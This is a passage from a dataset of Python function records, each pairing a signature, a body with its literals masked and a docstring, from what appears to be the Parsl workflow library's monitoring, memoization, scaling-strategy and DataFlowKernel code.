<EOL>self.logger.debug(\"<STR_LIT>\".format(hub_port))<EOL>try:<EOL><INDENT>self.sock = socket.socket(socket.AF_INET,<EOL>socket.SOCK_DGRAM,<EOL>socket.IPPROTO_UDP)<EOL>self.sock.bind(('<STR_LIT>', hub_port))<EOL>self.sock.settimeout(self.loop_freq / <NUM_LIT:1000>)<EOL><DEDENT>except OSError:<EOL><INDENT>self.logger.critical(\"<STR_LIT>\")<EOL>self.hub_port = -<NUM_LIT:1><EOL><DEDENT>self._context = zmq.Context()<EOL>self.dfk_channel = self._context.socket(zmq.DEALER)<EOL>self.dfk_channel.set_hwm(<NUM_LIT:0>)<EOL>self.dfk_channel.RCVTIMEO = int(self.loop_freq)  <EOL>self.dfk_channel.connect(\"<STR_LIT>\".format(client_address, client_port))<EOL>", "docstring": "Initializes a monitoring configuration class.\n\n        Parameters\n        ----------\n        address : str\n            IP address of the node on which the monitoring hub will run, this address must be\n            reachable from the Parsl client as well as the worker nodes. Eg. <NNN>.<NNN>.<NNN>.<NNN>\n\n        port : int\n            Used with Elasticsearch logging, the port of where to access Elasticsearch. Required when using logging_type = 'elasticsearch'.\n\n        logging_endpoint : Endpoint object\n            This is generally a database object to which logging data can be pushed to from the\n            monitoring HUB.\n\n        workflow_name : str, optional\n            Name to record as the workflow base name, defaults to the name of the parsl script file if left as None.\n\n        workflow_version : str, optional\n            Optional workflow identification to distinguish between workflows with the same name, not used internally only for display to user.\n\n        atexit_timeout : float, optional\n            The amount of time in seconds to terminate the hub without receiving any messages, after the last dfk workflow message is received.", "id": "f2764:c2:m0"}
{"signature": "def __init__(self, dfk, memoize=True, checkpoint={}):", "body": "self.dfk = dfk<EOL>self.memoize = memoize<EOL>if self.memoize:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self.memo_lookup_table = checkpoint<EOL><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\")<EOL>self.memo_lookup_table = {}<EOL><DEDENT>", "docstring": "Initialize the memoizer.\n\n        Args:\n            - dfk (DFK obj): The DFK object\n\n        KWargs:\n            - memoize (Bool): enable memoization or not.\n            - checkpoint (Dict): A checkpoint loaded as a dict.", "id": "f2767:c0:m0"}
{"signature": "def make_hash(self, task):", "body": "<EOL>t = [serialize_object(task['<STR_LIT>'])[<NUM_LIT:0>],<EOL>serialize_object(task['<STR_LIT>'])[<NUM_LIT:0>],<EOL>serialize_object(task['<STR_LIT:args>'])[<NUM_LIT:0>],<EOL>serialize_object(task['<STR_LIT>'])[<NUM_LIT:0>],<EOL>serialize_object(task['<STR_LIT>'])[<NUM_LIT:0>]]<EOL>x = b'<STR_LIT>'.join(t)<EOL>hashedsum = hashlib.md5(x).hexdigest()<EOL>return hashedsum<EOL>", "docstring": "Create a hash of the task inputs.\n\n        This uses a serialization library borrowed from ipyparallel.\n        If this fails here, then all ipp calls are also likely to fail due to failure\n        at serialization.\n\n        Args:\n            - task (dict) : Task dictionary from dfk.tasks\n\n        Returns:\n            - hash (str) : A unique hash string", "id": "f2767:c0:m1"}
{"signature": "def check_memo(self, task_id, task):", "body": "if not self.memoize or not task['<STR_LIT>']:<EOL><INDENT>task['<STR_LIT>'] = None<EOL>return None, None<EOL><DEDENT>hashsum = self.make_hash(task)<EOL>present = False<EOL>result = None<EOL>if hashsum in self.memo_lookup_table:<EOL><INDENT>present = True<EOL>result = self.memo_lookup_table[hashsum]<EOL>logger.info(\"<STR_LIT>\", task_id)<EOL><DEDENT>task['<STR_LIT>'] = hashsum<EOL>return present, result<EOL>", "docstring": "Create a hash of the task and its inputs and check the lookup table for this hash.\n\n        If present, the results are returned. The result is a tuple indicating whether a memo\n        exists and the result, since a Null result is possible and could be confusing.\n        This seems like a reasonable option without relying on an cache_miss exception.\n\n        Args:\n            - task(task) : task from the dfk.tasks table\n\n        Returns:\n            Tuple of the following:\n            - present (Bool): Is this present in the memo_lookup_table\n            - Result (Py Obj): Result of the function if present in table\n\n        This call will also set task['hashsum'] to the unique hashsum for the func+inputs.", "id": "f2767:c0:m2"}
{"signature": "def hash_lookup(self, hashsum):", "body": "return self.memo_lookup_table[hashsum]<EOL>", "docstring": "Lookup a hash in the memoization table.\n\n        Will raise a KeyError if hash is not in the memoization lookup table.\n\n        Args:\n            - hashsum (str?): The same hashes used to uniquely identify apps+inputs\n\n        Returns:\n            - Lookup result, this is unlikely to be None, since the hashes are set by this\n              library and could not miss entried in it's dict.\n\n        Raises:\n            - KeyError: if hash not in table", "id": "f2767:c0:m3"}
{"signature": "def update_memo(self, task_id, task, r):", "body": "if not self.memoize or not task['<STR_LIT>']:<EOL><INDENT>return<EOL><DEDENT>if task['<STR_LIT>'] in self.memo_lookup_table:<EOL><INDENT>logger.info('<STR_LIT>' %<EOL>(task['<STR_LIT>'], task_id))<EOL>self.memo_lookup_table[task['<STR_LIT>']] = r<EOL><DEDENT>else:<EOL><INDENT>self.memo_lookup_table[task['<STR_LIT>']] = r<EOL><DEDENT>", "docstring": "Updates the memoization lookup table with the result from a task.\n\n        Args:\n             - task_id (int): Integer task id\n             - task (dict) : A task dict from dfk.tasks\n             - r (Result future): Result future\n\n        A warning is issued when a hash collision occurs during the update.\n        This is not likely.", "id": "f2767:c0:m4"}
{"signature": "def __init__(self, dfk):", "body": "self.dfk = dfk<EOL>self.config = dfk.config<EOL>self.executors = {}<EOL>self.max_idletime = <NUM_LIT> * <NUM_LIT:2>  <EOL>for e in self.dfk.config.executors:<EOL><INDENT>self.executors[e.label] = {'<STR_LIT>': None, '<STR_LIT>': e.label}<EOL><DEDENT>self.strategies = {None: self._strategy_noop, '<STR_LIT>': self._strategy_simple}<EOL>self.strategize = self.strategies[self.config.strategy]<EOL>self.logger_flag = False<EOL>self.prior_loghandlers = set(logging.getLogger().handlers)<EOL>logger.debug(\"<STR_LIT>\".format(self.config.strategy))<EOL>", "docstring": "Initialize strategy.", "id": "f2768:c0:m0"}
{"signature": "def _strategy_noop(self, tasks, *args, kind=None, **kwargs):", "body": "", "docstring": "Do nothing.\n\n        Args:\n            - tasks (task_ids): Not used here.\n\n        KWargs:\n            - kind (Not used)", "id": "f2768:c0:m2"}
{"signature": "def unset_logging(self):", "body": "if self.logger_flag is True:<EOL><INDENT>return<EOL><DEDENT>root_logger = logging.getLogger()<EOL>for hndlr in root_logger.handlers:<EOL><INDENT>if hndlr not in self.prior_loghandlers:<EOL><INDENT>hndlr.setLevel(logging.ERROR)<EOL><DEDENT><DEDENT>self.logger_flag = True<EOL>", "docstring": "Mute newly added handlers to the root level, right after calling executor.status", "id": "f2768:c0:m3"}
{"signature": "def _strategy_simple(self, tasks, *args, kind=None, **kwargs):", "body": "for label, executor in self.dfk.executors.items():<EOL><INDENT>if not executor.scaling_enabled:<EOL><INDENT>continue<EOL><DEDENT>active_tasks = executor.outstanding<EOL>status = executor.status()<EOL>self.unset_logging()<EOL>min_blocks = executor.provider.min_blocks<EOL>max_blocks = executor.provider.max_blocks<EOL>if isinstance(executor, IPyParallelExecutor):<EOL><INDENT>tasks_per_node = executor.workers_per_node<EOL><DEDENT>elif isinstance(executor, HighThroughputExecutor):<EOL><INDENT>tasks_per_node = <NUM_LIT:1><EOL><DEDENT>elif isinstance(executor, ExtremeScaleExecutor):<EOL><INDENT>tasks_per_node = executor.ranks_per_node<EOL><DEDENT>nodes_per_block = executor.provider.nodes_per_block<EOL>parallelism = executor.provider.parallelism<EOL>running = sum([<NUM_LIT:1> for x in status if x == '<STR_LIT>'])<EOL>submitting = sum([<NUM_LIT:1> for x in status if x == '<STR_LIT>'])<EOL>pending = sum([<NUM_LIT:1> for x in status if x == '<STR_LIT>'])<EOL>active_blocks = running + submitting + pending<EOL>active_slots = active_blocks * tasks_per_node * nodes_per_block<EOL>if hasattr(executor, '<STR_LIT>'):<EOL><INDENT>logger.debug('<STR_LIT>'.format(<EOL>label, active_tasks, running, submitting, pending, executor.connected_workers))<EOL><DEDENT>else:<EOL><INDENT>logger.debug('<STR_LIT>'.format(<EOL>label, active_tasks, running, submitting, pending))<EOL><DEDENT>if active_tasks > <NUM_LIT:0> and self.executors[executor.label]['<STR_LIT>']:<EOL><INDENT>self.executors[executor.label]['<STR_LIT>'] = None<EOL><DEDENT>if active_tasks == <NUM_LIT:0>:<EOL><INDENT>if active_blocks <= min_blocks:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>if not self.executors[executor.label]['<STR_LIT>']:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>label, self.max_idletime)<EOL>)<EOL>self.executors[executor.label]['<STR_LIT>'] = time.time()<EOL><DEDENT>idle_since = self.executors[executor.label]['<STR_LIT>']<EOL>if (time.time() - idle_since) > self.max_idletime:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(<EOL>self.max_idletime, label)<EOL>)<EOL>executor.scale_in(active_blocks - min_blocks)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>elif (float(active_slots) / active_tasks) < parallelism:<EOL><INDENT>if active_blocks >= max_blocks:<EOL><INDENT>pass<EOL><DEDENT>else:<EOL><INDENT>excess = math.ceil((active_tasks * parallelism) - active_slots)<EOL>excess_blocks = math.ceil(float(excess) / (tasks_per_node * nodes_per_block))<EOL>logger.debug(\"<STR_LIT>\".format(excess_blocks))<EOL>executor.scale_out(excess_blocks)<EOL><DEDENT><DEDENT>elif active_slots == <NUM_LIT:0> and active_tasks > <NUM_LIT:0>:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>executor.scale_out(<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Peek at the DFK and the executors specified.\n\n        We assume here that tasks are not held in a runnable\n        state, and that all tasks from an app would be sent to\n        a single specific executor, i.e tasks cannot be specified\n        to go to one of more executors.\n\n        Args:\n            - tasks (task_ids): Not used here.\n\n        KWargs:\n            - kind (Not used)", "id": "f2768:c0:m4"}
{"signature": "def __init__(self, config=Config()):", "body": "<EOL>self.cleanup_called = False<EOL>if isinstance(config, dict):<EOL><INDENT>raise ConfigurationError(<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>self._config = config<EOL>self.run_dir = make_rundir(config.run_dir)<EOL>parsl.set_file_logger(\"<STR_LIT>\".format(self.run_dir), level=logging.DEBUG)<EOL>logger.debug(\"<STR_LIT>\".format(config))<EOL>logger.info(\"<STR_LIT>\".format(get_version()))<EOL>self.checkpoint_lock = threading.Lock()<EOL>self.usage_tracker = UsageTracker(self)<EOL>self.usage_tracker.send_message()<EOL>self.tasks_completed_count = <NUM_LIT:0><EOL>self.tasks_failed_count = <NUM_LIT:0><EOL>self.monitoring = config.monitoring<EOL>if self.monitoring:<EOL><INDENT>if self.monitoring.logdir is None:<EOL><INDENT>self.monitoring.logdir = self.run_dir<EOL><DEDENT>self.monitoring.start()<EOL><DEDENT>self.time_began = datetime.datetime.now()<EOL>self.time_completed = None<EOL>self.run_id = str(uuid4())<EOL>logger.info(\"<STR_LIT>\" + self.run_id)<EOL>self.workflow_name = None<EOL>if self.monitoring is not None and self.monitoring.workflow_name is not None:<EOL><INDENT>self.workflow_name = self.monitoring.workflow_name<EOL><DEDENT>else:<EOL><INDENT>for frame in inspect.stack():<EOL><INDENT>fname = os.path.basename(str(frame.filename))<EOL>parsl_file_names = ['<STR_LIT>']<EOL>if fname not in parsl_file_names:<EOL><INDENT>self.workflow_name = fname<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self.workflow_version = str(self.time_began)<EOL>if self.monitoring is not None and self.monitoring.workflow_version is not None:<EOL><INDENT>self.workflow_version = self.monitoring.workflow_version<EOL><DEDENT>workflow_info = {<EOL>'<STR_LIT>': \"<STR_LIT>\".format(sys.version_info.major,<EOL>sys.version_info.minor,<EOL>sys.version_info.micro),<EOL>'<STR_LIT>': get_version(),<EOL>\"<STR_LIT>\": self.time_began,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': None,<EOL>'<STR_LIT>': self.run_id,<EOL>'<STR_LIT>': self.workflow_name,<EOL>'<STR_LIT>': self.workflow_version,<EOL>'<STR_LIT>': self.run_dir,<EOL>'<STR_LIT>': self.tasks_completed_count,<EOL>'<STR_LIT>': self.tasks_failed_count,<EOL>'<STR_LIT:user>': getuser(),<EOL>'<STR_LIT:host>': gethostname(),<EOL>}<EOL>if self.monitoring:<EOL><INDENT>self.monitoring.send(MessageType.WORKFLOW_INFO,<EOL>workflow_info)<EOL><DEDENT>checkpoints = self.load_checkpoints(config.checkpoint_files)<EOL>self.memoizer = Memoizer(self, memoize=config.app_cache, checkpoint=checkpoints)<EOL>self.checkpointed_tasks = <NUM_LIT:0><EOL>self._checkpoint_timer = None<EOL>self.checkpoint_mode = config.checkpoint_mode<EOL>self.data_manager = DataManager(self, max_threads=config.data_management_max_threads)<EOL>self.executors = {}<EOL>self.add_executors(config.executors + [self.data_manager])<EOL>if self.checkpoint_mode == \"<STR_LIT>\":<EOL><INDENT>try:<EOL><INDENT>h, m, s = map(int, config.checkpoint_period.split('<STR_LIT::>'))<EOL>checkpoint_period = (h * <NUM_LIT>) + (m * <NUM_LIT>) + s<EOL>self._checkpoint_timer = Timer(self.checkpoint, interval=checkpoint_period)<EOL><DEDENT>except Exception:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(config.checkpoint_period))<EOL>self._checkpoint_timer = Timer(self.checkpoint, interval=(<NUM_LIT:30> * <NUM_LIT>))<EOL><DEDENT><DEDENT>if any([x.managed for x in config.executors]):<EOL><INDENT>self.flowcontrol = FlowControl(self)<EOL><DEDENT>else:<EOL><INDENT>self.flowcontrol = FlowNoControl(self)<EOL><DEDENT>self.task_count = <NUM_LIT:0><EOL>self.tasks = {}<EOL>self.submitter_lock = threading.Lock()<EOL>atexit.register(self.atexit_cleanup)<EOL>", "docstring": "Initialize the DataFlowKernel.\n\n        Parameters\n        ----------\n        config : Config\n            A specification of all configuration options. For more details see the\n            :class:~`parsl.config.Config` documentation.", "id": "f2769:c0:m0"}
{"signature": "def _create_task_log_info(self, task_id, fail_mode=None):", "body": "info_to_monitor = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT:status>', '<STR_LIT:id>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>task_log_info = {\"<STR_LIT>\" + k: self.tasks[task_id][k] for k in info_to_monitor}<EOL>task_log_info['<STR_LIT>'] = self.run_id<EOL>task_log_info['<STR_LIT>'] = datetime.datetime.now()<EOL>task_log_info['<STR_LIT>'] = self.tasks[task_id]['<STR_LIT:status>'].name<EOL>task_log_info['<STR_LIT>'] = self.tasks_failed_count<EOL>task_log_info['<STR_LIT>'] = self.tasks_completed_count<EOL>task_log_info['<STR_LIT>'] = str(self.tasks[task_id]['<STR_LIT>'].get('<STR_LIT>', None))<EOL>task_log_info['<STR_LIT>'] = str(self.tasks[task_id]['<STR_LIT>'].get('<STR_LIT>', None))<EOL>task_log_info['<STR_LIT>'] = self.tasks[task_id]['<STR_LIT>'].get('<STR_LIT>', None)<EOL>task_log_info['<STR_LIT>'] = self.tasks[task_id]['<STR_LIT>'].get('<STR_LIT>', None)<EOL>task_log_info['<STR_LIT>'] = None<EOL>if self.tasks[task_id]['<STR_LIT>'] is not None:<EOL><INDENT>task_log_info['<STR_LIT>'] = \"<STR_LIT:U+002C>\".join([str(t._tid) for t in self.tasks[task_id]['<STR_LIT>']])<EOL><DEDENT>task_log_info['<STR_LIT>'] = None<EOL>if self.tasks[task_id]['<STR_LIT>'] is not None:<EOL><INDENT>task_log_info['<STR_LIT>'] = (self.tasks[task_id]['<STR_LIT>'] -<EOL>self.tasks[task_id]['<STR_LIT>']).total_seconds()<EOL><DEDENT>if fail_mode is not None:<EOL><INDENT>task_log_info['<STR_LIT>'] = fail_mode<EOL><DEDENT>return task_log_info<EOL>", "docstring": "Create the dictionary that will be included in the log.", "id": "f2769:c0:m1"}
{"signature": "def _count_deps(self, depends):", "body": "count = <NUM_LIT:0><EOL>for dep in depends:<EOL><INDENT>if isinstance(dep, Future):<EOL><INDENT>if not dep.done():<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT><DEDENT><DEDENT>return count<EOL>", "docstring": "Internal.\n\n        Count the number of unresolved futures in the list depends.", "id": "f2769:c0:m2"}
{"signature": "@property<EOL><INDENT>def config(self):<DEDENT>", "body": "return self._config<EOL>", "docstring": "Returns the fully initialized config that the DFK is actively using.\n\n        DO *NOT* update.\n\n        Returns:\n             - config (dict)", "id": "f2769:c0:m3"}
{"signature": "def handle_exec_update(self, task_id, future):", "body": "try:<EOL><INDENT>res = future.result()<EOL>if isinstance(res, RemoteExceptionWrapper):<EOL><INDENT>res.reraise()<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(task_id))<EOL>self.tasks[task_id]['<STR_LIT>'].append(future._exception)<EOL>self.tasks[task_id]['<STR_LIT>'] += <NUM_LIT:1><EOL>if not self._config.lazy_errors:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>self.tasks[task_id]['<STR_LIT:status>'] = States.failed<EOL>if self.monitoring:<EOL><INDENT>task_log_info = self._create_task_log_info(task_id, '<STR_LIT>')<EOL>self.monitoring.send(MessageType.TASK_INFO, task_log_info)<EOL><DEDENT>return<EOL><DEDENT>if self.tasks[task_id]['<STR_LIT>'] <= self._config.retries:<EOL><INDENT>self.tasks[task_id]['<STR_LIT:status>'] = States.pending<EOL>logger.debug(\"<STR_LIT>\".format(task_id))<EOL><DEDENT>else:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(task_id,<EOL>self._config.retries))<EOL>self.tasks[task_id]['<STR_LIT:status>'] = States.failed<EOL>self.tasks_failed_count += <NUM_LIT:1><EOL>self.tasks[task_id]['<STR_LIT>'] = datetime.datetime.now()<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self.tasks[task_id]['<STR_LIT:status>'] = States.done<EOL>self.tasks_completed_count += <NUM_LIT:1><EOL>logger.info(\"<STR_LIT>\".format(task_id))<EOL>self.tasks[task_id]['<STR_LIT>'] = datetime.datetime.now()<EOL><DEDENT>if self.monitoring:<EOL><INDENT>task_log_info = self._create_task_log_info(task_id, '<STR_LIT>')<EOL>self.monitoring.send(MessageType.TASK_INFO, task_log_info)<EOL><DEDENT>if self.tasks[task_id]['<STR_LIT:status>'] == States.pending:<EOL><INDENT>self.launch_if_ready(task_id)<EOL><DEDENT>return<EOL>", "docstring": "This function is called only as a callback from an execution\n        attempt reaching a final state (either successfully or failing).\n\n        It will launch retries if necessary, and update the task\n        structure.\n\n        Args:\n             task_id (string) : Task id which is a uuid string\n             future (Future) : The future object corresponding to the task which\n             makes this callback\n\n        KWargs:\n             memo_cbk(Bool) : Indicates that the call is coming from a memo update,\n             that does not require additional memo updates.", "id": "f2769:c0:m4"}
{"signature": "def handle_app_update(self, task_id, future, memo_cbk=False):", "body": "if not self.tasks[task_id]['<STR_LIT>'].done():<EOL><INDENT>logger.error(\"<STR_LIT>\".format(task_id))<EOL><DEDENT>if not self.tasks[task_id]['<STR_LIT>'] == future:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(task_id))<EOL><DEDENT>if not memo_cbk:<EOL><INDENT>self.memoizer.update_memo(task_id, self.tasks[task_id], future)<EOL>if self.checkpoint_mode == '<STR_LIT>':<EOL><INDENT>self.checkpoint(tasks=[task_id])<EOL><DEDENT><DEDENT>if (self.tasks[task_id]['<STR_LIT>'] and<EOL>self.tasks[task_id]['<STR_LIT>'].done() and<EOL>self.tasks[task_id]['<STR_LIT>'].exception() is None and<EOL>self.tasks[task_id]['<STR_LIT>'] != '<STR_LIT>' and<EOL>self.tasks[task_id]['<STR_LIT>'] != '<STR_LIT>' and<EOL>self.tasks[task_id]['<STR_LIT>'] != '<STR_LIT>'):<EOL><INDENT>for dfu in self.tasks[task_id]['<STR_LIT>'].outputs:<EOL><INDENT>f = dfu.file_obj<EOL>if isinstance(f, File) and f.is_remote():<EOL><INDENT>self.data_manager.stage_out(f, self.tasks[task_id]['<STR_LIT>'])<EOL><DEDENT><DEDENT><DEDENT>return<EOL>", "docstring": "This function is called as a callback when an AppFuture\n        is in its final state.\n\n        It will trigger post-app processing such as checkpointing\n        and stageout.\n\n        Args:\n             task_id (string) : Task id\n             future (Future) : The relevant app future (which should be\n                 consistent with the task structure 'app_fu' entry\n\n        KWargs:\n             memo_cbk(Bool) : Indicates that the call is coming from a memo update,\n             that does not require additional memo updates.", "id": "f2769:c0:m5"}
{"signature": "def launch_if_ready(self, task_id):", "body": "if self._count_deps(self.tasks[task_id]['<STR_LIT>']) == <NUM_LIT:0>:<EOL><INDENT>new_args, kwargs, exceptions = self.sanitize_and_wrap(task_id,<EOL>self.tasks[task_id]['<STR_LIT:args>'],<EOL>self.tasks[task_id]['<STR_LIT>'])<EOL>self.tasks[task_id]['<STR_LIT:args>'] = new_args<EOL>self.tasks[task_id]['<STR_LIT>'] = kwargs<EOL>if not exceptions:<EOL><INDENT>exec_fu = None<EOL>with self.tasks[task_id]['<STR_LIT>']:<EOL><INDENT>if self.tasks[task_id]['<STR_LIT:status>'] == States.pending:<EOL><INDENT>exec_fu = self.launch_task(<EOL>task_id, self.tasks[task_id]['<STR_LIT>'], *new_args, **kwargs)<EOL><DEDENT><DEDENT>if exec_fu:<EOL><INDENT>try:<EOL><INDENT>exec_fu.add_done_callback(partial(self.handle_exec_update, task_id))<EOL><DEDENT>except Exception as e:<EOL><INDENT>logger.error(\"<STR_LIT>\".format(e))<EOL><DEDENT>self.tasks[task_id]['<STR_LIT>'] = exec_fu<EOL>try:<EOL><INDENT>self.tasks[task_id]['<STR_LIT>'].update_parent(exec_fu)<EOL>self.tasks[task_id]['<STR_LIT>'] = exec_fu<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>logger.error(<EOL>\"<STR_LIT>\".format(task_id))<EOL>raise e<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>logger.info(<EOL>\"<STR_LIT>\".format(task_id))<EOL>self.tasks[task_id]['<STR_LIT:status>'] = States.dep_fail<EOL>if self.monitoring is not None:<EOL><INDENT>task_log_info = self._create_task_log_info(task_id, '<STR_LIT>')<EOL>self.monitoring.send(MessageType.TASK_INFO, task_log_info)<EOL><DEDENT>try:<EOL><INDENT>fu = Future()<EOL>fu.retries_left = <NUM_LIT:0><EOL>self.tasks[task_id]['<STR_LIT>'] = fu<EOL>self.tasks[task_id]['<STR_LIT>'].update_parent(fu)<EOL>fu.set_exception(DependencyError(exceptions,<EOL>task_id,<EOL>None))<EOL><DEDENT>except AttributeError as e:<EOL><INDENT>logger.error(<EOL>\"<STR_LIT>\".format(task_id))<EOL>raise e<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "launch_if_ready will launch the specified task, if it is ready\nto run (for example, without dependencies, and in pending state).\n\nThis should be called by any piece of the DataFlowKernel that\nthinks a task may have become ready to run.\n\nIt is not an error to call launch_if_ready on a task that is not\nready to run - launch_if_ready will not incorrectly launch that\ntask.\n\nlaunch_if_ready is thread safe, so may be called from any thread\nor callback.", "id": "f2769:c0:m6"}
{"signature": "def launch_task(self, task_id, executable, *args, **kwargs):", "body": "self.tasks[task_id]['<STR_LIT>'] = datetime.datetime.now()<EOL>hit, memo_fu = self.memoizer.check_memo(task_id, self.tasks[task_id])<EOL>if hit:<EOL><INDENT>logger.info(\"<STR_LIT>\".format(task_id))<EOL>return memo_fu<EOL><DEDENT>executor_label = self.tasks[task_id][\"<STR_LIT>\"]<EOL>try:<EOL><INDENT>executor = self.executors[executor_label]<EOL><DEDENT>except Exception:<EOL><INDENT>logger.exception(\"<STR_LIT>\".format(task_id, executor_label, self._config))<EOL><DEDENT>if self.monitoring is not None and self.monitoring.resource_monitoring_enabled:<EOL><INDENT>executable = self.monitoring.monitor_wrapper(executable, task_id,<EOL>self.monitoring.monitoring_hub_url,<EOL>self.run_id,<EOL>self.monitoring.resource_monitoring_interval)<EOL><DEDENT>with self.submitter_lock:<EOL><INDENT>exec_fu = executor.submit(executable, *args, **kwargs)<EOL><DEDENT>self.tasks[task_id]['<STR_LIT:status>'] = States.launched<EOL>if self.monitoring is not None:<EOL><INDENT>task_log_info = self._create_task_log_info(task_id, '<STR_LIT>')<EOL>self.monitoring.send(MessageType.TASK_INFO, task_log_info)<EOL><DEDENT>exec_fu.retries_left = self._config.retries -self.tasks[task_id]['<STR_LIT>']<EOL>logger.info(\"<STR_LIT>\".format(task_id, executor.label))<EOL>return exec_fu<EOL>", "docstring": "Handle the actual submission of the task to the executor layer.\n\n        If the app task has the executors attributes not set (default=='all')\n        the task is launched on a randomly selected executor from the\n        list of executors. This behavior could later be updated to support\n        binding to executors based on user specified criteria.\n\n        If the app task specifies a particular set of executors, it will be\n        targeted at those specific executors.\n\n        Args:\n            task_id (uuid string) : A uuid string that uniquely identifies the task\n            executable (callable) : A callable object\n            args (list of positional args)\n            kwargs (arbitrary keyword arguments)\n\n\n        Returns:\n            Future that tracks the execution of the submitted executable", "id": "f2769:c0:m7"}
{"signature": "def _add_input_deps(self, executor, args, kwargs):", "body": "<EOL>if executor == '<STR_LIT>':<EOL><INDENT>return args, kwargs<EOL><DEDENT>inputs = kwargs.get('<STR_LIT>', [])<EOL>for idx, f in enumerate(inputs):<EOL><INDENT>if isinstance(f, File) and f.is_remote():<EOL><INDENT>inputs[idx] = self.data_manager.stage_in(f, executor)<EOL><DEDENT><DEDENT>for kwarg, f in kwargs.items():<EOL><INDENT>if isinstance(f, File) and f.is_remote():<EOL><INDENT>kwargs[kwarg] = self.data_manager.stage_in(f, executor)<EOL><DEDENT><DEDENT>newargs = list(args)<EOL>for idx, f in enumerate(newargs):<EOL><INDENT>if isinstance(f, File) and f.is_remote():<EOL><INDENT>newargs[idx] = self.data_manager.stage_in(f, executor)<EOL><DEDENT><DEDENT>return tuple(newargs), kwargs<EOL>", "docstring": "Look for inputs of the app that are remote files. Submit stage_in\n        apps for such files and replace the file objects in the inputs list with\n        corresponding DataFuture objects.\n\n        Args:\n            - executor (str) : executor where the app is going to be launched\n            - args (List) : Positional args to app function\n            - kwargs (Dict) : Kwargs to app function", "id": "f2769:c0:m8"}
{"signature": "def _gather_all_deps(self, args, kwargs):", "body": "<EOL>depends = []<EOL>count = <NUM_LIT:0><EOL>for dep in args:<EOL><INDENT>if isinstance(dep, Future):<EOL><INDENT>if self.tasks[dep.tid]['<STR_LIT:status>'] not in FINAL_STATES:<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT>depends.extend([dep])<EOL><DEDENT><DEDENT>for key in kwargs:<EOL><INDENT>dep = kwargs[key]<EOL>if isinstance(dep, Future):<EOL><INDENT>if self.tasks[dep.tid]['<STR_LIT:status>'] not in FINAL_STATES:<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT>depends.extend([dep])<EOL><DEDENT><DEDENT>for dep in kwargs.get('<STR_LIT>', []):<EOL><INDENT>if isinstance(dep, Future):<EOL><INDENT>if self.tasks[dep.tid]['<STR_LIT:status>'] not in FINAL_STATES:<EOL><INDENT>count += <NUM_LIT:1><EOL><DEDENT>depends.extend([dep])<EOL><DEDENT><DEDENT>return count, depends<EOL>", "docstring": "Count the number of unresolved futures on which a task depends.\n\n        Args:\n            - args (List[args]) : The list of args list to the fn\n            - kwargs (Dict{kwargs}) : The dict of all kwargs passed to the fn\n\n        Returns:\n            - count, [list of dependencies]", "id": "f2769:c0:m9"}
{"signature": "def sanitize_and_wrap(self, task_id, args, kwargs):", "body": "dep_failures = []<EOL>new_args = []<EOL>for dep in args:<EOL><INDENT>if isinstance(dep, Future):<EOL><INDENT>try:<EOL><INDENT>new_args.extend([dep.result()])<EOL><DEDENT>except Exception as e:<EOL><INDENT>if self.tasks[dep.tid]['<STR_LIT:status>'] in FINAL_FAILURE_STATES:<EOL><INDENT>dep_failures.extend([e])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>new_args.extend([dep])<EOL><DEDENT><DEDENT>for key in kwargs:<EOL><INDENT>dep = kwargs[key]<EOL>if isinstance(dep, Future):<EOL><INDENT>try:<EOL><INDENT>kwargs[key] = dep.result()<EOL><DEDENT>except Exception as e:<EOL><INDENT>if self.tasks[dep.tid]['<STR_LIT:status>'] in FINAL_FAILURE_STATES:<EOL><INDENT>dep_failures.extend([e])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>if '<STR_LIT>' in kwargs:<EOL><INDENT>new_inputs = []<EOL>for dep in kwargs['<STR_LIT>']:<EOL><INDENT>if isinstance(dep, Future):<EOL><INDENT>try:<EOL><INDENT>new_inputs.extend([dep.result()])<EOL><DEDENT>except Exception as e:<EOL><INDENT>if self.tasks[dep.tid]['<STR_LIT:status>'] in FINAL_FAILURE_STATES:<EOL><INDENT>dep_failures.extend([e])<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>new_inputs.extend([dep])<EOL><DEDENT><DEDENT>kwargs['<STR_LIT>'] = new_inputs<EOL><DEDENT>return new_args, kwargs, dep_failures<EOL>", "docstring": "This function should be called **ONLY** when all the futures we track have been resolved.\n\n        If the user hid futures a level below, we will not catch\n        it, and will (most likely) result in a type error.\n\n        Args:\n             task_id (uuid str) : Task id\n             func (Function) : App function\n             args (List) : Positional args to app function\n             kwargs (Dict) : Kwargs to app function\n\n        Return:\n             partial function evaluated with all dependencies in  args, kwargs and kwargs['inputs'] evaluated.", "id": "f2769:c0:m10"}
